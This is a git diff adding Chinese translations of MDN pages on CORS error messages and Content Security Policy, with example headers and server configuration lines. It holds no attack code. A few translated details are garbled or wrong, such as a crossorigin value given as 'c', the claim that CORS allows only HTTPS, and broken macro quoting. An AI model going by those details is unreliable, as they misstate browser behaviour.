+<p><strong>说明:</strong>如果服务器的 <code>Access-Control-Allow-methods</code> 头中包含任何未识别的或未定义的方法名称,会出现不同的错误:<code><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token 'xyz' in CORS header 'Access-Control-Allow-Methods</a>'</code>.</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsmissingalloworigin/index.html b/files/zh-cn/web/http/cors/errors/corsmissingalloworigin/index.html new file mode 100644 index 0000000000..9be945f1f4 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsmissingalloworigin/index.html @@ -0,0 +1,51 @@ +--- +title: 'Reason: CORS header ''Access-Control-Allow-Origin'' missing' +slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +tags: + - CORS + - Cross-Origin + - HTTP +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因:缺少CORS “Access-Control-Allow-Origin”</pre> + +<h2 id="哪里出错了">哪里出错了?</h2> + +<p>对 {{Glossary("CORS")}} 请求的响应缺少必需的{{HTTPHeader("Access-Control-Allow-Origin")}}头,其用于确定在当前源内操作的资源是否可以访问。</p> + +<p>如果服务器在您的控制之下,请将请求站点的源添加到允许访问的域集,方法是将其添加到<code>Access-Control-Allow-Origin</code>头的值。</p> + +<p>例如,要允许https://amazing.site上的站点使用CORS访问资源,这个http头应该为:</p> + +<pre>Access-Control-Allow-Origin: https://amazing.site +</pre> + +<p>您还可以使用<code>"*"</code>通配符配置站点使得允许任何站点访问它。您应该只将它用于公共的API。私有API永远不应使用<code>"*"</code>,而应设置特定的一个域或一些域。此外,通配符仅适用于将{{htmlattrxref("crossorigin")}} 属性设置为<code>"c"</code>的请求。</p> + +<pre>Access-Control-Allow-Origin: *</pre> + +<div class="warning"> +<p><strong>警告:</strong> 使用通配符允许所有站点访问私有API是显而易见的坏主意。</p> +</div> + +<p>例如,在Apache服务器中,将下面一行添加到服务器的配置中(在相应的<Directory>,<Location>,<Files>或<VirtualHost>部分中)。 配置通常位于.conf文件中(httpd.conf和apache.conf是这些文件的通用名称),或者位于<code>.htaccess</code>文件中。</p> + +<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>' +</pre> + +<p>对于Nginx,设置此http头的命令是:</p> + +<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>' +</pre> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsmultiplealloworiginnotallowed/index.html b/files/zh-cn/web/http/cors/errors/corsmultiplealloworiginnotallowed/index.html new file mode 100644 index 0000000000..596e98877d --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsmultiplealloworiginnotallowed/index.html @@ -0,0 +1,25 @@ +--- +title: 'Reason: Multiple CORS header ''Access-Control-Allow-Origin'' not allowed' +slug: Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed +translation_of: Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因: 不允许出现多个 ‘Access-Control-Allow-Origin’ CORS 头信息。</pre> + +<h2 id="为什么会出现该问题">为什么会出现该问题?</h2> + +<p>服务器返回了超过一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 标头信息,因此被认为是错误的。</p> + +<p>如果您正在管理该服务,请改正只返回一个 <code>Access-Control-Allow-Origin</code> 标头信息。同时需要注意,服务器返回的 <code>Access-Control-Allow-Origin</code> 值不应该是一个列表,因为浏览器只会接受一个值,并且不能为空。</p> + +<h2 id="查看更多">查看更多</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS </a>错误</li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS </a>介绍</li> + <li><a href="https://enable-cors.org/server.html">启用 CORS: 我想让自己的服务支持 CORS</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsnotsupportingcredentials/index.html b/files/zh-cn/web/http/cors/errors/corsnotsupportingcredentials/index.html new file mode 100644 index 0000000000..4ace9a4ac3 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsnotsupportingcredentials/index.html @@ -0,0 +1,34 @@ +--- +title: >- + Reason: Credential is not supported if the CORS header + ‘Access-Control-Allow-Origin’ is ‘*’ +slug: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials +translation_of: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">在CORS中,Credential不接受http响应首部中的‘Access-Control-Allow-Origin’设置为通配符‘*’</pre> + +<h2 id="出了什么问题?">出了什么问题?</h2> + +<p>{{Glossary("CORS")}} 请求发出时,已经设定了credentials,但服务端配置了http响应首部 {{HTTPHeader("Access-Control-Allow-Origin")}} 的值为通配符 (<code>"*"</code>) ,而这与使用credentials相悖。</p> + +<p>要在客户端改正这个问题,只需要确保发出 CORS 请求时将credential设置为false。</p> + +<ul> + <li>如果使用 {{domxref("XMLHttpRequest")}} 发出请求,确保未将 {{domxref("XMLHttpRequest.withCredentials", "withCredentials")}} 设置为 <code>true。</code></li> + <li>如果使用 <a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>, 确保 {{domxref("EventSource.withCredentials")}} 的值为 <code>false</code> (false为默认值)。</li> + <li>如果使用 <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>,确保 {{domxref("Request.credentials")}} 的值为 <code>"omit"</code>.</li> +</ul> + +<p>如果还不成功,则需要修改服务端,可能需要修改 <code>Access-Control-Allow-Origin</code> 的值,来为客户端所能够加载资源的源予以授权。</p> + +<h2 id="另请参见">另请参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>术语: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsoriginheadernotadded/index.html b/files/zh-cn/web/http/cors/errors/corsoriginheadernotadded/index.html new file mode 100644 index 0000000000..e3e3587c0f --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsoriginheadernotadded/index.html @@ -0,0 +1,26 @@ +--- +title: 'Reason: CORS header ‘Origin’ cannot be added' +slug: Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded +translation_of: Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因:没有添加头字段‘Origin’</pre> + +<h2 id="哪里错了">哪里错了?</h2> + +<p> {{Glossary("user agent")}} 不能把 {{HTTPHeader("Origin")}} 头字段添加到 {{Glossary("HTTP")}} 请求中。 所有的 CORS 请求必须有 <code>Origin</code> 头字段。</p> + +<p>例如,如果JavaScript代码以增强的权限运行,允许它访问多个域名的内容,则会发生这种情况。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/zh-cn/docs/Web/HTTP/CORS/Errors">HTTP访问控制(CORS)错误</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li> + <p><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP访问控制(CORS)</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corspreflightdidnotsucceed/index.html b/files/zh-cn/web/http/cors/errors/corspreflightdidnotsucceed/index.html new file mode 100644 index 0000000000..760c5a0199 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corspreflightdidnotsucceed/index.html @@ -0,0 +1,27 @@ +--- +title: 'Reason: CORS preflight channel did not succeed' +slug: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed +translation_of: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Reason">Reason</h2> + +<pre class="syntaxbox">Reason: CORS preflight channel did not succeed</pre> + +<h2 id="What_went_wrong">What went wrong?</h2> + +<p>{{Glossary("CORS")}} 请求需要预校验,但是预校验请求失败。可能是由于下列几种原因导致:</p> + +<ul> + <li>一个跨域请求在先前已经进行过预校验,进行重复的校验是不被允许的。请确保你的代码每次连接只进行一次预校验。</li> + <li>预校验请求碰到了通常情况下不应该发生的网络问题。</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS 错误</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS 简介</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsrequestnothttp/index.html b/files/zh-cn/web/http/cors/errors/corsrequestnothttp/index.html new file mode 100644 index 0000000000..9618d6e0e0 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsrequestnothttp/index.html @@ -0,0 +1,36 @@ +--- +title: 原因:CORS 请求不是 HTTP +slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp +tags: + - CORS + - 同源规则 + - 安全 + - 错误 +translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp +--- +<p>{{HTTPSidebar}}</p> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因: CORS 请求不是 HTTP</pre> + +<h2 id="哪里出错了?">哪里出错了?</h2> + +<p>{{Glossary("CORS")}} 请求只能使用 HTTPS URL 方案,但请求指定的 URL 可能是不同类型。这种情况经常发生在 URL 指定本地文件,例如使用了 <code>file:///</code> 的 URL。</p> + +<p>要解决此问题,请确保在发出涉及 CORS 的请求时使用 HTTPS URL,例如 {{domxref("XMLHttpRequest")}},<a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> API,或 Web Fonts(<code>@font-face</code>),或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 纹理</a>, 或 XSL 样式表。</p> + +<h3 id="自_Firefox_68_本地文件安全性的改变">自 Firefox 68 本地文件安全性的改变</h3> + +<p>当用户在 Firefox 67 或更早版本中使用 <code>file:///</code> URI 打开页面时,页面来源被定义为打开页面的目录。同一目录及其子目录中的资源均被视为具有相同的来源,符合 CORS 同源规则。</p> + +<p>为响应 <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730">CVE-2019-11730</a>,Firefox 68 及更高版本中定义,使用 <code>file:///</code> URL 打开页面的来源唯一。 因此,同一目录或其子目录中的其他资源不再满足 CORS 同源规则。这个新的表现通过 <code>privacy.file_unique_origin</code> 这一首选项控制,默认启用。</p> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/HTTP/CORS/Errors">CORS 错误</a></li> + <li>术语:{{Glossary("CORS")}}</li> + <li><a href="/zh-CN/docs/Web/HTTP/CORS">CORS 介绍</a></li> + <li><a href="/zh-CN/docs/Learn/Common_questions/What_is_a_URL">什么是 URL?</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/cors错误允许凭证/index.html b/files/zh-cn/web/http/cors/errors/cors错误允许凭证/index.html new file mode 100644 index 0000000000..9ba1f6b468 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/cors错误允许凭证/index.html @@ -0,0 +1,32 @@ +--- +title: 故:在CORS头Access-Control-Allow-Credentials中预期为true +slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 +translation_of: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials +--- +<div></div> + +<h2 id="理由">理由</h2> + +<pre class="syntaxbox notranslate">故:在CORS头Access-Control-Allow-Credentials中预期设为true</pre> + +<h2 id="错在了哪儿?">错在了哪儿?</h2> + +<p> CORS请求要求服务器允许使用凭据,但是服务器的HTTPHeader:Access-Control-Allow-Credentials标头的值并没有设置为true 。</p> + +<p>想要在客户端解决此问题,请修改代码以不请求使用凭据:</p> + +<ul> + <li>如果要使用{{domxref(“ XMLHttpRequest”)}}发出请求,请确保没有将{{domxref(“ XMLHttpRequest.withCredentials”,“ withCredentials”)}}}设置为true。</li> + <li>如果使用 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>,请确保{{domxref(“ EventSource.withCredentials”)}}为false(default)。</li> + <li>如果使用 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>,请确保{{domxref(“ Request.credentials”)}}为“omit”。</li> +</ul> + +<p>想要通过更改服务器的配置来消除此错误,请调整服务器的配置以将Access-Control-Allow-Credentials标头的值设置为true。</p> + +<h2 id="更多">更多</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/index.html b/files/zh-cn/web/http/cors/errors/index.html new file mode 100644 index 0000000000..67710ad510 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/index.html @@ -0,0 +1,72 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +translation_of: Web/HTTP/CORS/Errors +--- +<div> +<p> </p> +</div> + +<div> </div> + +<div class="hidden"> +<p class="syntaxbox"><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) 是一种允许服务器放宽同源策略的标准。 这用于明确允许一些跨源请求,同时拒绝其他请求。 例如,如果站点提供外界嵌入的服务,则可能需要放宽同源策略(<a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>)。 设置这样的CORS配置并不一定容易,并且可能存在一些挑战。 在这些页面中,我们将研究一些常见的CORS错误消息以及如何解决它们。</span></p> +</div> + +<p>如果未正确设置CORS配置,浏览器控制台将显示错误,例如<code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"(</code>跨源请求已阻止:同源策略禁止在某些站点上读取远程资源”),表示请求因违反CORS安全性而被阻止规则。 但这可能不一定是设置错误。 因为用户的Web应用程序和远程外部服务可能故意禁止该请求。如果要使端点可用,则需要进行一些调试才能成功。</p> + +<h2 id="确定问题">确定问题</h2> + +<p>要了解CORS配置的基本问题,您需要找出哪个请求有问题以及原因。步骤如下:</p> + +<p> </p> + +<ol> + <li> 打开有问题的网站并打开开发者工具(<a href="/en-US/docs/Tools">Developer Tools</a>)。</li> + <li> 尝试重现失败的事务并检查控制台( <a href="/en-US/docs/Tools/Web_Console">console</a>)是否看到CORS违规错误消息。它可能看起来像这样:</li> +</ol> + +<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p> + +<p>错误消息的文本将类似于以下内容:</p> + +<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows +reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: +additional information here</em>).</span></span></span></pre> + +<div class="note"> +<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>注意:出于安全原因,JavaScript代码无法给出有关CORS请求出错的详细信息。 所有代码都知道发生了错误。 确定具体问题的唯一方法是查看浏览器的控制台以获取详细信息。</strong></span></span></span></p> +</div> + +<h2 id="CORS错误信息">CORS错误信息</h2> + +<p>当请求因CORS失败时,Firefox的控制台会在其控制台中显示消息。 错误文本的一部分是“原因”消息,它提供了对出错的更深入的了解。 消息的原因如下: </p> + +<ul> + <li><a href="/zh-CN/docs/Web/HTTP/CORS/Errors/CORSDisabled">原因:CROS被禁用</a></li> + <li><a href="/zh-CN/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">原因:CROS请求未成功</a></li> + <li><a href="/zh-CN/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">原因:CROS头字段“Origin”未被添加</a></li> + <li><a href="/zh-CN/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">原因:CORS不允许请求外部重定向</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li> +</ul> + +<h2 id="参见">参见</h2> + +<ul> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> + <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li> + <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li> +</ul> diff --git a/files/zh-cn/web/http/csp/index.html b/files/zh-cn/web/http/csp/index.html new file mode 100644 index 0000000000..f6de1cb51d --- /dev/null +++ b/files/zh-cn/web/http/csp/index.html @@ -0,0 +1,182 @@ +--- +title: 内容安全策略( CSP ) +slug: Web/HTTP/CSP +tags: + - 内容安全策略 + - 安全 +translation_of: Web/HTTP/CSP +--- +<p>{{HTTPSidebar}}</p> + +<p class="summary">内容安全策略 ({{Glossary("CSP")}}) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 ({{Glossary("XSS")}}) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。</p> + +<p>CSP 被设计成完全向后兼容(除CSP2 在向后兼容有明确提及的不一致; 更多细节查看<a href="https://www.w3.org/TR/CSP2">这里</a> 章节1.1)。不支持CSP的浏览器也能与实现了CSP的服务器正常合作,反之亦然:不支持 CSP 的浏览器只会忽略它,如常运行,默认为网页内容使用标准的同源策略。如果网站不提供 CSP 头部,浏览器也使用标准的<a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">同源策略</a>。</p> + +<p>为使CSP可用, 你需要配置你的网络服务器返回 {{HTTPHeader("Content-Security-Policy")}} HTTP头部 ( 有时你会看到一些关于<code>X-Content-Security-Policy</code>头部的提法, 那是旧版本,你无须再如此指定它)。</p> + +<p>除此之外, {{HTMLElement("meta")}} 元素也可以被用来配置该策略, 例如</p> + +<pre><meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"></pre> + +<h2 id="威胁">威胁</h2> + +<h3 id="跨站脚本攻击">跨站脚本攻击</h3> + +<p>CSP 的主要目标是减少和报告 XSS 攻击 ,XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行,因为浏览器信任其内容来源,即使有的时候这些脚本并非来自于它本该来的地方。</p> + +<p>CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。</p> + +<p>作为一种终极防护形式,始终不允许执行脚本的站点可以选择全面禁止脚本执行。</p> + +<h3 id="数据包嗅探攻击">数据包嗅探攻击</h3> + +<p>除限制可以加载内容的域,服务器还可指明哪种协议允许使用;比如 (从理想化的安全角度来说),服务器可指定所有内容必须通过HTTPS加载。一个完整的数据安全传输策略不仅强制使用HTTPS进行数据传输,也为所有的cookie标记安全标识 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">cookies with the secure flag</a>,并且提供自动的重定向使得HTTP页面导向HTTPS版本。网站也可以使用 {{HTTPHeader("Strict-Transport-Security")}} HTTP头部确保连接它的浏览器只使用加密通道<strong>。</strong></p> + +<h2 id="使用_CSP">使用 CSP</h2> + +<p>配置内容安全策略涉及到添加 {{HTTPHeader("Content-Security-Policy")}} HTTP头部到一个页面,并配置相应的值,以控制用户代理(浏览器等)可以为该页面获取哪些资源。比如一个可以上传文件和显示图片页面,应该允许图片来自任何地方,但限制表单的action属性只可以赋值为指定的端点。一个经过恰当设计的内容安全策略应该可以有效的保护页面免受跨站脚本攻击。本文阐述如何恰当的构造这样的头部,并提供了一些例子。</p> + +<h3 id="制定策略">制定策略</h3> + +<p>你可以使用 {{HTTPHeader("Content-Security-Policy")}} HTTP头部 来指定你的策略,像这样:</p> + +<pre>Content-Security-Policy: <em>policy</em></pre> + +<p>policy参数是一个包含了各种描述你的CSP策略指令的字符串。</p> + +<h3 id="描述策略">描述策略</h3> + +<p>一个策略由一系列策略指令所组成,每个策略指令都描述了一个针对某个特定类型资源以及生效范围的策略。你的策略应当包含一个{{CSP("default-src")}}策略指令,在其他资源类型没有符合自己的策略时应用该策略(有关完整列表查看{{CSP("default-src")}} )。一个策略可以包含 {{CSP("default-src")}} 或者 {{CSP("script-src")}} 指令来防止内联脚本运行, 并杜绝<code>eval()</code>的使用。 一个策略也可包含一个 {{CSP("default-src")}} 或 {{CSP("style-src")}} 指令去限制来自一个 {{HTMLElement("style")}} 元素或者style属性的內联样式。</p> + +<h2 id="示例:常见用例">示例:常见用例</h2> + +<p>这一部分提供了一些常用的安全策略方案示例。</p> + +<h3 id="示例_1">示例 1</h3> + +<p>一个网站管理者想要所有内容均来自站点的同一个源 (不包括其子域名)</p> + +<pre>Content-Security-Policy: default-src 'self'</pre> + +<h3 id="示例_2">示例 2</h3> + +<p>一个网站管理者允许内容来自信任的域名及其子域名 (域名不必须与CSP设置所在的域名相同)</p> + +<pre>Content-Security-Policy: default-src 'self' *.trusted.com</pre> + +<h3 id="示例_3">示例 3</h3> + +<p>一个网站管理者允许网页应用的用户在他们自己的内容中包含来自任何源的图片, 但是限制音频或视频需从信任的资源提供者(获得),所有脚本必须从特定主机服务器获取可信的代码.</p> + +<pre>Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre> + +<p>在这里,各种内容默认仅允许从文档所在的源获取, 但存在如下例外:</p> + +<ul> + <li>图片可以从任何地方加载(注意 "*" 通配符)。</li> + <li>多媒体文件仅允许从 media1.com 和 media2.com 加载(不允许从这些站点的子域名)。</li> + <li>可运行脚本仅允许来自于userscripts.example.com。</li> +</ul> + +<h3 id="示例_4">示例 4</h3> + +<p>一个线上银行网站的管理者想要确保网站的所有内容都要通过SSL方式获取,以避免攻击者窃听用户发出的请求。</p> + +<pre>Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre> + +<p>该服务器仅允许通过HTTPS方式并仅从onlinebanking.jumbobank.com域名来访问文档。</p> + +<h3 id="示例_5">示例 5</h3> + +<p> 一个在线邮箱的管理者想要允许在邮件里包含HTML,同样图片允许从任何地方加载,但不允许JavaScript或者其他潜在的危险内容(从任意位置加载)。</p> + +<pre>Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre> + +<p> 注意这个示例并未指定{{CSP("script-src")}}。在此CSP示例中,站点通过 {{CSP("default-src")}} 指令的对其进行配置,这也同样意味着脚本文件仅允许从原始服务器获取。</p> + +<h2 id="对策略进行测试">对策略进行测试</h2> + +<p>为降低部署成本,CSP可以部署为<em>报告(report-only)</em>模式。在此模式下,CSP策略不是强制性的,但是任何违规行为将会报告给一个指定的URI地址。此外,一个报告模式的头部可以用来测试一个修订后的未来将应用的策略而不用实际部署它。</p> + +<p>你可以用{{HTTPHeader("Content-Security-Policy-Report-Only")}} HTTP 头部来指定你的策略,像这样:</p> + +<pre>Content-Security-Policy-Report-Only: <em>policy</em></pre> + +<p> 如果{{HTTPHeader("Content-Security-Policy-Report-Only")}} 头部和 {{HTTPHeader("Content-Security-Policy")}} 同时出现在一个响应中,两个策略均有效。在<code>Content-Security-Policy</code> 头部中指定的策略有强制性 ,而<code>Content-Security-Policy-Report-Only</code>中的策略仅产生报告而不具有强制性。</p> + +<p>支持CSP的浏览器将始终对于每个企图违反你所建立的策略都发送违规报告,如果策略里包含一个有效的{{CSP("report-uri")}} 指令。</p> + +<h2 id="启用违例报告">启用违例报告</h2> + +<p>默认情况下,违规报告并不会发送。为启用发送违规报告,你需要指定 {{CSP("report-uri")}} 策略指令,并提供至少一个URI地址去递交报告:</p> + +<pre>Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> + +<p>然后你需要设置你的服务器能够接收报告,使其能够以你认为恰当的方式存储并处理这些报告。</p> + +<h2 id="违例报告的语法">违例报告的语法</h2> + +<p>作为报告的JSON对象报告包含了以下数据:</p> + +<dl> + <dt><code>document-uri</code></dt> + <dd>发生违规的文档的URI。</dd> + <dt><code>referrer</code></dt> + <dd>违规发生处的文档引用(地址)。</dd> + <dt><code>blocked-uri</code></dt> + <dd>被CSP阻止的资源URI。如果被阻止的URI来自不同的源而非文档URI,那么被阻止的资源URI会被删减,仅保留协议,主机和端口号。</dd> + <dt><code>violated-directive</code></dt> + <dd>违反的策略名称。</dd> + <dt><code>original-policy</code></dt> + <dd>在 <code>Content-Security-Policy</code> HTTP 头部中指明的原始策略。</dd> +</dl> + +<h2 id="违例报告样本">违例报告样本</h2> + +<p>我们假设页面位于 <code><a href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a>。</code>它使用如下策略,该策略禁止任何资源的加载,除了来自<code>cdn.example.com的样式表。</code></p> + +<pre>Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> + +<p> <code>signup.html</code> 的HTML像这样:</p> + +<pre><code><!DOCTYPE html> +<html> + <head> + <title>Sign Up</title> + <link rel="stylesheet" href="css/style.css"> + </head> + <body> + ... Content ... + </body> +</html></code></pre> + +<p>你能看出其中错误吗?样式表仅允许加载自<code>cdn.example.com,</code>然而该页面企图从自己的源 (<code>http://example.com</code>)加载。当该文档被访问时,一个兼容CSP的浏览器将以POST请求的形式发送违规报告到 <code><a href="http://example.com/_/csp-reports" rel="freelink">http://example.com/_/csp-reports</a></code>,内容如下:</p> + +<pre><code>{ + "csp-report": { + "document-uri": "http://example.com/signup.html", + "referrer": "", + "blocked-uri": "http://example.com/css/style.css", + "violated-directive": "style-src cdn.example.com", + "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports" + } +}</code></pre> + +<p>如你所见,该报告在<code>blocked-uri字段</code>中包含了违规资源的完整路径 ,但情况并非总是如此。比如,当signup.html试图从 <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>加载CSS时,浏览器将不会包含完整路径,而只会保留源路径 (<code>http://anothercdn.example.com</code>)。CSP技术规范对此古怪行为<a href="http://www.w3.org/TR/CSP/#violation-reports">给出了解释</a>。大体上说,这样是为了防止泄露跨域资源的敏感信息。</p> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">本页的兼容性表格是由一个结构性数据生成的。如果你希望对该数据做出贡献,请查阅<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>并提交一个pull request。</p> + +<p>{{Compat("http.headers.csp")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li> + <li> + <p><a href="https://developer.mozilla.org/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></p> + </li> +</ul> diff --git 